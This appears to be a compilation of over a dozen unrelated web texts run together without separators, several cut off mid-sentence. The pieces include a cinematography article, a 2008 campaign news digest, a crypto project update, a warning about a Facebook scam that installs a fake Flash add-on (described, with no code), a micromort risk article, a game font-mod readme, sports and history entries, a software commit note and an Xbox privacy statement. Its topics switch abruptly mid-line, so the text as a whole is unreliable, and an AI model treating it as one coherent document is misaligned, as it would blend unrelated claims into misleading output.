According to Messerschmidt, the concept, which Fincher had been talking about for years, is to get back to the days of simpler cameras. “Lately, we stick all sorts of aftermarket boxes on cameras: wireless video transmitters, timecode boxes, focus controls, motors, etc.,” he says. “All of these boxes need cables and mounting hardware, and they turn an otherwise elegant camera into a big mess. David’s idea was ‘Hey, if we need all this stuff on the camera, why can’t it be built in?’ That’s what RED did for us.”
“Mindhunter” used three of the so-called Xenomorphs delivered by RED Digital Cinema president Jarred Land and his team of engineers. Messerschmidt loved simply sticking a lens on the front, a battery on the back and shooting. “No messing around with extra stuff,” he says.By Geoff “iNcontroL” Robinson of Evil Geniuses
Being in the public spotlight as a gamer has its ups and downs. Way back in the day I was a loud mouthed, brash, and completely open professional SC2 player and expressed myself openly on the various podcasts I was on. That earned me a reputation as a guy who you could count on for being “real“, but it also brought me a lot of pain.
When speaking to |
Covers AFSCME's & Other's Protests of McCain's Fundraiser in St. Paul* (St. Paul Minneanapolis MN kARE, 6/19/08, 5:06pm) DIANE PIERCE: Well no republican presidential candidate has won Minnesota since Richard Nixon back in 1972. But John McCain and some political pundits think there's a chance the state could go red this year, and right now McCain is in Minnesota to do everything he can to make that happen. […] First Scott Goldberg is here to talk about those protesting his political stop. Scott? SCOTT GOLDBERG: Diane, in about 30 minutes John McCain will host a big money fundraiser inside the Minneapolis Hilton here. *Already outside, welcoming him, some protesters, most of them union members. Many of them from AFSCME, the country's largest public employee union which today endorsed Barack Obama for president.* Most polls in Minnesota give Obama a sizeable lead here. But days like make it clear, both sides see this state as a battleground. As John McCain comes to Minnesota hoping to sway undecided voters, Minnesotans hoping to keep the state blue got a head start. The Service Employees International Union, which endorsed Barack Obama, criticized McCain's plan to offer tax credits and savings accounts to help pay for health insurance. SHANE ALLERS: *His plan would discourage employers from providing coverage and leave workers to defend for themselves against insurance companies.* GOLDBERG: And the political arm of Planned Parenthood in Minnesota and the Dakota's announced it's endorsement of Barack Obama. SARAH STOESZ: We are very concerned that there be a new president who will appoint justices to the Supreme Court who will support access to all forms of reproductive health care for women. GOLDBERG: As McCain targets women, particularly democratic women who supported Hillary Clinton, Planned Parenthood released a poll that shows 51 percent of women voters do not know McCain's position on abortion. His website says clearly, "Roe v. Wade is a flawed decision that must be overturned." Planned Parenthood's Action Fund is planning a campaign to educate women about McCain. STOESZ: *It will be abundantly clear to them that he is not a friend to women and that the only friend for women in this presidential race is Senator Obama.* BEN GOLNIK: I chalk them up to partisan attacks by special interest groups. GOLDBERG: McCain's regional campaign manager dismissed the criticism from both groups. GOLNIK: With healthcare, he wants to make it more accessible, he wants to help with preventative care. We've had numerous calls from Hillary Clinton supporters who are now very interested in joining the McCain campaign, so I don't think those are fair attacks. GOLDBERG: Money will of course be pivotal in McCain's efforts to spread his message across Minnesota and the upper Mid-West, and he'll reel in a pile of money today. Though his campaign won't say exactly how much, this event here at the Hilton is for people who contributed between $1,000 and $50,000 dollars to his campaign and to the republican party. […] JOHN CROMAN: Well, you know, the fundraiser is something that's going to be important to his campaign no matter where he's campaign, but being here in Minnesota is actually going to be more important because of the media impact it has to have McCain in the state and it's seen by people in surrounding states. Wisconsin, Iowa, and the Dakota, which are all in play in this election. The event tonight at the Landmark Center is being dubbed as a town hall forum for undecided voters. Now, that is drawn more than a few snickers from DFL'ers who point out that you have to get a ticket to get into this, and all the ticket holders tonight have been screened by the McCain campaign. But they say they've really gone out of their way to find a cross-section of voters who will ask tough questions, and they say that under the circumstances it's the most impartial crowd they could get. GOLNIK: It's difficult to just open the doors and say we're going to have 2,000 people there. I think it just becomes, from a logistics standpoint, helping with the advanced work for some of these events, it's a lot of, it takes a lot of time and effort to do that, and they do need to do that now that Senator McCain does have Secret Service protection as does Senator Obama. There's a lot more vetting, in terms of running a quick background check on all these people and making sure there aren't any problems there. CROMAN: Now Golnik also said that if Barack Obama would accept John McCain's invitation to do joint town hall meetings, they would love to have Obama here tonight, then both camps could actually screen about half of the votes or half of the ticket holders. And then you'd get, kind of an evenly divided crowd here, so we'll see how it works out. […]<https://issuealliance.box.net/shared/a57o29140k> Local Highlight #2 *Local Iowa News Covers SEIU's Protest of McCain's Healthcare Stance Ahead of Visit to Flood Areas* (IA-5-KSTP, 06/19/08, 4:34pm) LEAH MCLEAN: A message from healthcare workers to John McCain, just ahead of his visit today. PASTOR PAUL SLACK: There are 47 million people in this greatest nation of this world, who have no healthcare coverage. There is a breach in our nation. MCLEAN: *The SEIU Local 284 Healthcare Worker's Union believes that John McCain's plan would make it harder for average people to get healthcare coverage. *McCain is in town for a private fundraiser at 5:30 in Minneapolis. That's followed by a 7:00pm invitation only town hall meeting that will be held in St. Paul. Local Highlight #3 *Local Minnesota News Covers Importance of Upper Mid-West States This Election, and the Protesters Out To Paint McCain as McSame as Bush*(MN-4-WCCO, 06/19/08, 5:04pm) PAT KESSLER: John McCain spent most of today in Iowa touring some of those flood damaged areas, terrible news down there. Tonight he's raising money here in Minnesota at two separate events, including here at the Landmark Center. He's got that town hall meeting later on tonight. *He's raising his profile in a state, contrary to what you might here, could go republican for the first time since 1972.* Barack Obama drew tens of thousands to a pair of rallies in Minnesota earlier this year. But what you see may not be how Minnesotans vote in November. LARRY JACOBS: The upper mid-west is the most competitive region in the country. KESSLER: *Minnesota is no longer a state safe for democrats, according to political analysts. And John McCain's visit is a signal of a state that could go either way.* JACOBS: John McCain sees real success in winning over not only independents, but even some democrats, perhaps some Hillary Clinton supporters, making big appeals to women and perhaps some of the white working class voters who deserted Barack Obama in Ohio and some of those other states. KESSLER: George Bush came very close in 2004 to winning the upper mid-west. Losing Minnesota by 3 percentage points, Wisconsin by less than 1 percent. And he won Iowa outright by less than 1 percent. Close enough to make it worth a fight. McCain's Minnesota campaign calls it ground zero. BEN GOLNIK: Certainly Minnesota still leans slightly democrat, leans slightly blue, however, I think John McCain is a candidate that's really going to sell well here in Minnesota. KESSLER: *But democrats call John McCain, John McSame. They will portray him as a steady ally of an unpopular president.* DONNA CASSUTT: *Senator McCain has stood firmly with George Bush and his policies. Voting with him over 95 percent of the time in this past year alone.* KESSLER: *And that's going to be the campaign in a nutshell. Tying McCain to George Bush. McCain trying to separate himself.* Interesting concept and one that's not lost on the presidential campaigns of either party. If you add up Minnesota, Iowa, and Wisconsin's electoral votes, it's 27. Frankly, that's the same number as Florida, which is a big big state for both campaigns. <https://issuealliance.box.net/shared/xcwpwhy8ks> --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the "big campaign" group. To post to this group, send to bigcampaign@googlegroups.com To unsubscribe, send email to bigcampaign-unsubscribe@googlegroups.com E-mail ryan@campaigntodefendamerica.org with questions or concerns This is a list of individuals. It is not affiliated with any group or organization. -~----------~----~----~----~------~----~------~--~---OAX Code Development Overview #1
OAX Blocked Unblock Follow Following Dec 6, 2017
By Lio Lunesu, Cerulean Hu, Tamas and Liam Bussell
In the past few months, the OAX Devteam has been slowly and steadily pushing out new code updates on our repositories over at Gitlab.
We have now officially moved over to Gitlab for the codebase, the reason for the move was due to the name change (openANX to OAX) as we could not secure OAX at Github as it was in use. Check out the activity over here.
The Code Monkeys have been busy
very busy
very very busy
WOW!
In addition, for small, discrete pieces of work, it may be posted under Enumatech (Enuma Technologies — our technology provider). Enuma Technologies has a significant codebase and not all pieces relate to OAX, but it may be of interest to some of our backers, so I have provided the link here.
First, let’s go back to the White Paper
“Key to this concept is the deployment of a new decentralized exchange platform that allows transparency for end users, holds collateral for participating gateways and provides a predetermined channel for dispute resolution.”
At the very heart of the OAX Project is the idea of transparency for users, a dispute resolution and collateral backed asset gateways.
Again from the white paper
The key deliverables of openANX are to:
Migrate existing exchanges to the role of collateralized Asset Gateways, bridging fiat to tokens in a collateralized, transparent manner
Complement the wave of “token only” decentralized matching engine projects which otherwise would not have fiat support, and hence further increase liquidity, and accessibility for the general public
From Day #1 of the deployment of the decentralised exchange, we plan to have Asset Gateways in place. For the wider market, the first asset gateway will act as a reference model in terms of policy and process for subsequent asset gateways to follow.
Asset Gateways will be able to mint/burn new native Ethereum ERC-20 tokens that represent any number of things, BTC, Litecoin, gold or fiat and then introduce them for movement across the DEX platform.
We believe the ability to get fiat in and out consistently will be a very powerful tool in helping existing users move easily between different tokens and gateways, and also to cash in/out. Therefore, our first piece of work on the development front was to design out the Mint/Burn process and key parts of the Asset Gateway integration. You can see the code and thinking behind that here.
You may have seen the diagram below, although I’d suggest you have a second look as it is updated regularly. In essence, this outlines all the steps in the journey for the minting of Fiat Tokens by an Asset Gateway and the control mechanism required by the Asset Gateway to do so, this code is well under way and is likely to be delivered EARLY.
We’ll post more of these code updates in the lead up to Christmas and New Year.
WEBSITE | WHITEPAPER | SLACK | TWITTER | MEDIUM | REDDIT | WECHATAdobe Flash Player. A Malicious Link is nearby you on Facebook which claims to give you the info that who viewed your profile but on the name of that gives you the fake and Malware filled browser add-on of
Beware of such links or apps claiming these types of fake stuffs, we will tell you how that link looks like and how it can affect your confidential data.
This Malicious link found by Praveen Kashyap (News Editor at Hackers news Bulletin), when he was on Facebook and checking posts by people and friends, he saw a link which claiming that who viewed your profile and more than 91,543,000 used this including his friends but no one of his friends used that app, he confirmed from them.
After that he checked that malicious link and what he got below is the steps describing how it will install as fake add-on of Adobe Flash Player in your browser and after that it will take out the Juicy Information from your system.
Malicious post looks like this:
You will reach here after clicking on the Above link and looks like you are on a Facebook app page but watch out the URL it’s a Malicious link and that Malware contained Fake add-on of Adobe is uploaded on Dropbox, we have located that below in the Image:
After clicking on Install it will command you to click allow the add-on to be install in your Browser- (BUT DON’T DO THAT)
After Allowing, Mozilla also warning us to take a look that Author is not Verified and it is a Malicious add-on.What's most likely to kill you? Measuring how deadly our daily activities are
Updated
It's always distressing and tragic when we hear a report of shark attack. But what is the actual likelihood of dying due to a shark encounter in Australia? How concerned about this are you as you go swimming? How concerned should you be?
These are all very basic questions and they serve as great opportunities to understand how we perceive risks and, importantly, how we can do this better.
So let's answer the first question: how likely is a fatal shark attack for an Australian?
To get a crude estimate of this, averaged across the whole population, you would divide the number of people who have died due to a shark attack each year (on average three to four each year based on recent data) by the population of Australia (approximately 24 million).
This yields a risk of approximately one in eight million per year, which is thankfully very low.
Does this assuage your fear? If not, the reason is probably that the imagery of a shark attack is so terrifying. Any unusual and dramatic event has a huge impact on our psyche and this distorts our perception.
Also, it's not that easy for us to interpret what a risk expressed as a relative frequency truly means.
Putting risks into perspective
So how can we tackle this issue of understanding risk better, and putting it into perspective? One interesting and useful way is to use the "micromort" — a one-in-a-million chance of death — as a unit of risk to help with comparisons between risky events.
A Stanford professor first suggested this tool in the 1970s.
If something exposes you to a micromort of risk, this means it exposes you to a one-in-a-million chance of dying.
Using micromorts to understand risk is by no means perfect, but it can work quite well to dispel some commonly held misconceptions as to how risky certain activities are.
So, firstly, let's try to fully understand what a one-in-a-million chance is. One useful analogy is that it represents the same likelihood as tossing a coin 20 times and having it land heads up every time.
You don't need to have a good grasp of probability to understand how unlikely this is and therefore how small this unit of a micromort of probability is.
Before we look at this concept in practice, it's worth noting that estimates of how likely events are depends on which data have been used to calculate these likelihoods.
Data from different countries may yield different estimates. Broadly speaking, however, the riskiness of the following activities is fairly universally agreed on, as they are usually similar across Western countries.
Everyone would consider skydiving dangerous, and it is.
According to world experts on the subject, skydiving increases your risk of dying by approximately eight to nine micromorts per jump (meaning you have roughly a one-in-100,000 chance of dying).
Interestingly, marathon running, an activity probably considered healthy, also increases your risk of dying by approximately seven micromorts per run.
So if you are a marathon runner who is scared of jumping out of an aeroplane because of the risks, one might argue there isn't really a rational basis for this fear.
Scuba diving is another activity everyone would consider to involve significant risks. It increases your risk of dying by approximately five to 10 micromorts per dive.
And for those of you who aspire to scale Mount Everest, this would expose you to a whopping 40,000 micromorts per ascent.
As a point of comparison, let's look at the risks of the very relatable activity of travel.
Driving a car for 400 kilometres exposes you to approximately one micromort of risk. You would only have to ride a motorcycle for 10km to expose you to the same risk of dying, which puts into perspective how much riskier riding a motorbike is.
Aeroplane travel (by commercial jet), which strikes fear into some people, is very safe statistically. You would have to travel for more than 10,000km to be exposed to a micromort of risk.
If this makes you too afraid to leave the house, even mooching around the house has risks associated with it.
Using "what Australians die of" data from the Australian Bureau of Statistics, sitting on a chair (due to the likelihood of falling off it) increases your risk of death by approximately 1.3 micromorts.
Slipping and falling increases your risk of death by 13 micromorts. Just having a bath increases your risk of death by 0.3 micromorts.
Everything carries risk
So if the likelihood of being killed by a shark is approximately one in eight million over the course of the year, sharks increase our risk of death by 0.125 of a micromort per year.
To put this in perspective, the yearly increase in our risk of dying in a shark attack is the same as the risk that many of us are willing to take in our commute to work and back each day.
And it is nearly a hundred times less than the risk of drowning when you go swimming (approximately 12 micromorts).
Interestingly, kangaroos (approximately 0.1 micromorts) pose a risk of death that is similar to that posed by sharks, but our cute national emblem does not evoke quite the same fear in us.
So the micromort unit is incredibly useful for putting the magnitude of a risk into some sort of context.
It's important to be aware, however, that being based on population-level data, the micromort is not a measure of your personal risk.
For example, the risk calculation for fatal shark attacks is based on the average risk across the whole population.
So it effectively estimates a risk based on the assumption that all Australians swim in the deep ocean a similar number of times per year.
But if you live in Alice Springs, you would not expect your risk of being killed by a shark to be the same as for a surfer who lives on the coast.
Similarly, if you only wade in water up to your knees and don't swim in deep water, your personal risks would be different.
Despite this limitation, this measure serves as a useful way to override our inherent predilection for irrationality in the perception of risks. It allows us to contextualise everyday risks.
Everything in life has risks and the art of living a good life is to be clear as to when risks are worth taking.
Every day we get out of bed (which increases your risk of death by about 2.4 micromorts) we make a trade-off between the risks associated with what we do and our enjoyment of life, even if we are not always perceiving these risks accurately.
Hassan Vally is an epidemiologist with considerable experience in the analysis and interpretation of health data. He teaches at La Trobe University and has published more than 50 peer-reviewed articles.
Originally published in The Conversation
Topics: offbeat, human-interest, lifestyle, lifestyle-and-leisure, community-and-society, death, australia, vic
First postedThis are High Resolution Font Set for the S.t.a.l.k.e.r. Game Serie. It Support Shadow of Chernobyl, Clear Sky, Lost Alpha, Call Of Prypjat, Call Of Chernobyl and all mods.
Hello, (Myfirst entry to ModDB)
Update: 29.04.2017
........................................................
You can not extract the localization.ltx and you have not the
Gamedata Directory. I've added the localizations.txt for
S.T.A.L.K.E.R. 0 - Lost Alpha 1.3003
S.T.A.L.K.E.R. 0 - Lost Alpha 1.4000, 1.4001
S.T.A.L.K.E.R. 1 - Clear Sky
S.T.A.L.K.E.R. 2 - Shadow of Chernobyl
S.T.A.L.K.E.R. 3 - Call Of Pripyat
S.T.A.L.K.E.R. 4 - Call Of Chernobyl 1.4.22
S.T.A.L.K.E.R. x - Full Mods (For Many Mods,)
Please Check the Language in the localization.ltx before you start the Game
eng = Englisch
ger = Deutsch
spa = Spain
fra = France
rus = Russian
........................................................
Based on my Tutorial. I created a High Resolution Fonts for Stalker.
Use the Font's only if you play in a Resolution the is greater as 1920x1080.
Story:
In the last years are appeared lots of mods and addon's for Stalker but the font was never changed. For resolutions up to 1920x1080, the font is Ok. At larger resolutions the font is really tiny.
I play almost Stalker in 4k (without Anti Aliasing and all other Settings on High) and i was annoyed by the tiny font. But I wanted not go back to nativ 1920x1080.
Here are my Fonts for 4k :) I have not testet between 2k and 4k Resolutions
Install:
If you play with *.DB Archives. Just copy the Fonts.ltx to "Gamedata\Config\" ( or Configs for CS and COP) and the Font Folder to your "Gamedata\Textures\" Folder. Without *.DB Archives make a Backup from your Fonts.ltx and copy the Fonts.
German:
Die Fonts beinhalten alle Umlaute und werden auch vom spiel Übernommen. Öffnet die "Gamedata\config(s)\Localization.ltx" und entfernt den Jeweilgen Präfix der aktiv ist. Alternativ könnt ihr auch den prefix an die Fonts hängen.
For Russian:
Sorry, Russian Fonts are not available in this Pack. :(
For all other:
Just install, but look at the Localization.ltx and remove the prefix if exists.
Uninstall: Delete the "Gamedata\config(s)\Fonts.ltx" and remove the Folder Fonts "Gamedata\Textures\"
Attention: don't try mix the Font's. Cop use for Font's a dds Format 8Bit-A8(Alpha) and SOC DXT5 White Alpha. LA and CS DXT5 Normal Alpha
I added a few alterntive version's in this Pack.
Cursor for Stalker
I was was annoyed from the stretched pointer. I added few Mouse Pointer for Stalker. Designed for Wide-screen Resolutions with a Anim sequence of hundred Images. Choose a Cursor and copy the ui_anim_cursor.seq to Gamedata\textures\ui. Copy the Cursor Folder "Gamedata\textures\ui\"
Preview Images in 4k. Press Right Mouse and view the Image
PS: beta?
I have not yet touched the Micro Fonts in SOC.Originally titled the "Tournament East-West football game," the second of what is now known as the Rose Bowl Game was played on January 1, 1916. The Rose Bowl game has been played annually since this game.
The first game, the 1902 Tournament East-West football game, was so lopsided that for the next 13 years, the Tournament of Roses officials ran chariot races, ostrich races, and other various events instead of football.[2] But, on New Year's Day 1916, football returned to stay as Washington State University defeated Brown University in this first annual Tournament of Roses football game.
Tournament Park [ edit ]
Before the Rose Bowl stadium was built for the 1923 Rose Bowl Game, games were played in Pasadena's Tournament Park, approximately three miles southeast of the current stadium. It is best known for being the site of the first Rose Bowl Game in 1902, and the second to eighth Rose Bowl Games from 1916 to 1922 before the Rose Bowl opened in 1923. Its capacity at the time was 43,000 people.
Teams [ edit ]
Team captains Andrews of Brown (left) and Clark of Washington State, together with referee Walter Eckersall of Chicago just before kickoff
Washington State had an undefeated season. They won 28–3 over Oregon, 29–0 over Oregon State, 41–0 over Idaho, 27–7 over Montana, 17–0 over Whitman and 48–0 over Gonzaga.
The 1915 Brown University Bruins lost 7–0 to Amherst, 6–0 to Syracuse, and 16–7 to Harvard. They had a scoreless tie with Trinity. Brown outscored its opponents 167–32 that year, beating Rhode Island 38–0, Williams 33–0, Vermont 46–0, Yale 3-0 and Carlisle 39–3. Brown was chosen as the Eastern representative with a 5–3–1 record.
The Tournament of Roses committee were responsible for selecting and inviting the teams. The Bruin victories over Yale and Carlisle were deciding factors for inviting Brown to participate.
Game summary [ edit ]
Fritz Pollard became the first African-American to play in the Rose Bowl Game. He was limited to 47 yards in 13 carries during the game. Wallace Wade played on the line. The game was played in a cold quagmire of mud from several days of rain.[1]
Scoring [ edit ]
1 2 3 4 Total Brown 0 0 0 0 0 Washington State 0 0 7 7 14
Qtr. Team Scoring play Score 3 WSU Ralph Boone 3 yard rush, Arthur Durham kick WSU 7–0 4 WSU Carl Dietz 4 yard rush, Arthur Durham kick WSU 14–0 Source:[3]
Statistics [ edit ]
Team Stats Wash. St. Brown First Downs 19 6 Net Yards Rushing 313 74 Net Yards Passing 0 12 Total Yards 313 86 PC–PA–Int. 0–2–2 1–3–1 Punts Avg. 7-37.0 13-29.3
Aftermath [ edit ]
Coach William Henry Dietz and his Washington State squad served as extras in the football film Tom Brown of Harvard each morning and then practiced for the bowl game in the afternoon. They were paid $100 for the movie work.
The Tournament of Roses organization continues to have a college football game to this day as part of the New Year's Day celebrations.
The Western and Northern universities permitted minority players, a situation that would eventually lead to the Pacific Coast Conference - Big Nine conference agreement for the 1947 Rose Bowl. Most Southern universities were still segregated until the 1960s. None of the Southeastern Conference schools had an African American athlete until 1966. The Cotton Bowl, Orange Bowl, and Sugar Bowl would not be integrated until 1948, 1955, and 1956 respectively.[4]
Carl Dietz, the Washington State fullback, was named the Most Valuable Player of the game when the award was created in 1953 and selections were made retroactively.[5] Later, Pollard was the first black named to the Walter Camp All-America team and became the first black NFL head coach.
The official 2007 NCAA Division I football records book lists the attendance at 7,000.[6] Washington State listed at 10,000 in its media guide.
The quarterback of the Washington State University team, Thomas Arthur Durham, eventually had a successful Naval career, rising to the rank of Commodore.! He retired as a rear admiral in 1950.
References [ edit ]
Books [ edit ]In the main ballroom of the Hotel Astor -- built at 44th Street and Broadway in 1904 -- the ballroom's gilt decoration was blocked out with jet-black material, against which were hung enormous festoons of flaming red and silver. A small-town Main Street was built as a midway but redesigned in the Cubist style, with modernist trees dotting the village green.
An orchestra directed by the architect Kenneth Murchison consisted of pneumatic riveting machines, live steam pipes, ocean liner whistles and sledgehammers. A puppet show designed by the puppeteer and children's book illustrator Tony Sarg presented robots on strings with bodies of metal coils. Ballet dancers rendered a modernistic impression of the blues.
The Times said that the committee had promised that any guest in a conventional sailor, cowboy, chef or police officer's costume would be barred, but that "a traffic cop from Mars" would be welcomed.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
At least two dozen architects came dressed as buildings they had recently designed. These included Chester Aldrich as the Union Club, at 69th and Park, and William F. Lamb as the Empire State Building. Arthur J. Arwine, a heating contractor, came as a "low-pressure heating boiler." Murchison came as a model tenement.
But most architecture aficionados are familiar with only the well-known image of William Van Alen as his Chrysler Building. In one variant of this photo, Van Alen is the fourth in a line of six architects, the others wearing generic tunics made to look like windowed buildings.
But they all wore helmetlike constructions of the tops of the buildings they had designed.
A. Stewart Walker was completely hidden under the black and white ziggurat at the top of his Fuller Building, at 57th and Madison; Leonard Schultze wore the rocket-shaped crown of one of his Waldorf-Astoria towers; Ely Jacques Kahn peeked out from under the castlelike top of his Squibb Building, at 58th and Fifth; Ralph Walker wore the Art Deco tower of his building at 1 Wall Street; and Joseph Freedlander -- one of the heads of the costume committee -- looked pretty silly under the horizontal neo-Georgian pavilions of the Museum of the City of New York, at 103rd and Fifth.
They all played supporting roles to Van Alen, the star of the group, whose attire included a Buck Rogers-style cloak and boots, both made of patent leather and flame-colored silk, with flexible inlays of the same exotic woods used on the Chrysler Building's elevators. Indeed, his cloak was designed to emulate the design of the doors, and two shoulder ornaments replicated the eagle heads at the 61st-floor setbacks. On his head rose a strikingly dangerous-looking crown, the graduated layers of the Chrysler tower itself rising to a spire, the ensemble at least four feet above his scalp.
The ball was covered live by WABC radio starting at midnight, but just fragmentary descriptions and only a few photographs remain of what must have been one of the most spectacular parties of the last century. Van Alen's Chrysler Building is one of the icons of skyscraper architecture, but no trace of his costume appears to have survived.
Although the break from historicism in 1931 was exhilarating, perhaps the deepening Depression encouraged retrospection, because in 1932 the theme was the Colonial period. Van Alen came holding a sword and attired in a silk brocade coat and pantaloons, with a huge Dutch-style hat, lace cuffs and collar. According to The Times, he was dressed as his 17th-century ancestor Pieter Van Alen.
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Streetscapes | The Beaux-Arts Ball E-mail: streetscapes@nytimes.comIt was during that slog of a franchise-record nine-game road trip from late January into February when Doug Weight, the Islanders’ interim head coach, realized he needed help.
Just over a month into his tenure, Weight was trying to do everything. While making room for individual meetings with his young group, he cut short his own film session for the upcoming opponent.
Weight didn’t remember exactly what game it was, but he did remember that, when he got behind the bench, he “just didn’t like how I felt.”
“I didn’t watch the entire game, I kind of watched clips,” Weight told The Post over the phone recently, as he begins to assemble his new coaching staff after being named full-time head coach following a campaign in which the Islanders missed the postseason by one point. “I didn’t go out all night and not go to practice in the morning. My point was, I changed it a little bit, and I did it a little easier because I wanted to make sure I was doing the [individual meetings] as well as I could.
“Then I realized after that game, it was on that road trip, this is just not how I can do it. At that point, I knew I was going to need a little more assistance.”
Pretty much everything is on the table for the Islanders this offseason, a turning point in franchise history. They are scraping around to find a new arena and are coming up on a monumental negotiation with captain John Tavares, the star center, who will be able to sign an extension starting July 1 before reaching free agency after next season.
Now, Weight is in charge of the coaching staff following the firing of longtime head coach Jack Capuano on Jan. 17. Assistant coach Bob Corkum was let go, and the status of another assistant, Greg Cronin, is still in question — though Weight said he would like Cronin back, but was not sure if it would be feasible.
Weight last week hired an old teammate from the Oilers, Luke Richardson, who is a veteran of 1,417 NHL games and spent the past four years as the head coach of AHL Binghamton, grooming many of the young players currently with the Senators in the Eastern Conference finals. It also has been reported that another friend from Weight’s Edmonton days, Kelly Buchberger, could join the staff following the NHL draft in late June after Buchberger’s contract expires as a player development coach with the Oilers.
Scott Gomez, the recently retired former Devils and Rangers star, also is in the mix for a position.
Weight said he had interviewed “eight to 10” people, and if it seems as if he’s leaning toward people with extensive NHL playing experience — just like himself — that’s because he is.
“I’m not afraid to say it, it’s something I’m looking for and chasing,” Weight said. “But that being said, I’m not just hiring guys who play 15 years or 20 years. You have to sit with them, you have to see how they view the game, how they are, how they view the players, how I view the game.”
Cronin never played at the professional level, but Weight has a tremendous amount of respect for his 30 years as a coach. But things are changing for the Islanders, and Weight is at the wheel.
He never wants to feel even somewhat unprepared again, and he knows he needs people to lean on. He also knows how important these hires are for the success of next year’s team — and, in turn, the future of the franchise.
“I think with your assistants, you need that trust in your guy,” Weight said. “I need the feeling that when I say something or when I delegate, I am 100 percent [confident] in their work ethic, their professionalism, their preparation, that we’re together, we’re a team. That’s how I have to prepare for a game, so I know that’s what I’m going to need.”Raiders of the Lost Ark:
The Adaptation Directed by Eric Zala Produced by Chris Strompolos Screenplay by Lawrence Kasdan Story by Philip Kaufman
George Lucas Starring Chris Strompolos
Angela Rodriguez
Eric Zala Music by John Williams Cinematography Jayson Lamb Edited by Jayson Lamb Production
company Rolling Boulder Films Release date 1989 Running time 100 minutes Budget c. $5000[1]
Raiders of the Lost Ark: The Adaptation is a 1989 American fan film, made as a shot-for-shot remake of the 1981 Indiana Jones adventure film Raiders of the Lost Ark. Using the original film's screenplay and score, it principally starred and was filmed, directed, and produced over a seven-year period by three Mississippi teenagers (Chris Strompolos, Eric Zala, and Jayson Lamb).
Plot [ edit ]
Set in 1936, the film pits Indiana Jones (Strompolos) against a group of Nazis who are searching for the Ark of the Covenant which Adolf Hitler believes will make their army invincible.
Cast [ edit ]
Taken from theraider.net:[1]
Production [ edit ]
Shooting for the film began in 1982, when Strompolos, Zala and Lamb were only 12 years old, and continued over the next seven summers.[2] It was made on a shoe-string budget of around $5000,[1] greatly contrasting with the original's $18 million budget. It was shot out of sequence, so due to its long filming period many actors randomly appear at different ages throughout the course of the film. As Raiders of the Lost Ark was not available on any home media format when they began filming, they were forced to collect all kinds of material about the film, including magazine articles, photographs, and even an illicit recording of the film's audio captured during a re-release screening of the original film in 1982.[2][3]
In 2014, members |
to frequently message Mr. Mateen on Jack’d, a gay dating app.
Chris Callen, a drag queen who performs under the name Kristina McLaughlin, told the Canadian Press that the shooter was a regular at the club.
“It’s the same guy,” Mr. Callen said, the Canadian Press reported. “He’s been going to this bar for at least three years.”
Ty Smith, Mr. Callen’s husband, dismissed the notion that Mr. Mateen snapped after seeing two men kissing, a widely reported anecdote in the media.
“That’s bullcrap, right there,” he said, the Canadian Press reported. “No offense. That’s straight-up crap. He’s been around us. Some of those people did a lot more than [kiss] outside the bar. … He was partying with the people who supposedly drove him to do this?”
Mr. Mateen reportedly pledged his support to the Islamic State terror group before being killed in a shootout with authorities.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Alex Merry committed changes in /trunk/extragear/multimedia/amarok/src:
Replay Gain support, stage 1: getting the metadata into the database.
BIG FAT WARNING: this will change the database schema, and force a complete rescan of your collection.
You won't lose statistics data, unless this change gets reverted or you try to go back to an older version of Amarok, in which case your database won't work (older versions of Amarok will, in fact, wipe and refuse to recreate the database in this case).
Outline:
* Make amarokcollectionscanner get replay gain data (not for all files yet) from metadata tags
* Add four new entries to Meta::Field, containing the Xesam tags for albumGain, albumPeakGain, trackGain and trackPeakGain
* Add four new columns (albumgain, albumpeakgain, trackgain and trackpeakgain) to the tracks table
* Spruce up the database upgrade path
* Make both ScanManager/ScanResultProcessor and the Xesam importer for sqlcollection get the above data
* Put the new data in the database
Changes from the patch I posted on amarok-devel:
* include peak data, which is needed to prevent clipping (so there are four new fields, not two)
* scan for replay gain tags in ID3v2 metadata of MP3 files (such as created by Foobar2000). Other formats will follow. Only Ogg Vorbis files have been tested.
* Amarok will complain and exit if you try to run it with a newer version of the database (ie: version 3 or later, which has not been made yet)
I suggest you back up $KDEHOME/share/apps/amarok before running this version if you care about your collection data.
If you care about your stats and you are running trunk, you should be doing this regularly anyway.Xbox One and Kinect offer easy and approachable ways to control your games and entertainment with your voice and gestures. By recognizing you, Xbox One can tailor personal experiences and customize content just for you.
At Microsoft, we prioritize your privacy. We understand that your personal data and privacy are important. Xbox One and Kinect will provide tools to put you in control of your data. These include:
You are in control of what Kinect can see and hear: By design, you will determine how responsive and personalized your Xbox One is to you and your family during setup. The system will navigate you through key privacy options, like automatic or manual sign in, privacy settings, and clear notifications about how data is used. When Xbox One is on and you’re simply having a conversation in your living room, your conversation is not being recorded or uploaded.
By design, you will determine how responsive and personalized your Xbox One is to you and your family during setup. The system will navigate you through key privacy options, like automatic or manual sign in, privacy settings, and clear notifications about how data is used. When Xbox One is on and you’re simply having a conversation in your living room, your conversation is not being recorded or uploaded. You are in control of when Kinect sensing is On, Off or Paused: If you don’t want the Kinect sensor on while playing games or enjoying your entertainment, you can pause Kinect. To turn off your Xbox One, just say “Xbox Off.” When the system is off, it’s only listening for the single voice command — “Xbox On,” and you can even turn that feature off too. Some apps and games may require Kinect functionality to operate, so you’ll need to turn it back on for these experiences.
If you don’t want the Kinect sensor on while playing games or enjoying your entertainment, you can pause Kinect. To turn off your Xbox One, just say “Xbox Off.” When the system is off, it’s only listening for the single voice command — “Xbox On,” and you can even turn that feature off too. Some apps and games may require Kinect functionality to operate, so you’ll need to turn it back on for these experiences. You are in control of your personal data: You can play games or enjoy applications that use data, such as videos, photos, facial expressions, heart rate and more, but this data will not leave your Xbox One without your explicit permission. Here are a few examples of potential future scenarios: A fitness game could measure heart rate data to provide you with improved feedback on your workout, allow you to track your progress, or even measure calories burned. A card game could allow you to bluff your virtual opponent using your facial expressions.
You can play games or enjoy applications that use data, such as videos, photos, facial expressions, heart rate and more, but this data will not leave your Xbox One without your explicit permission. Here are a few examples of potential future scenarios:
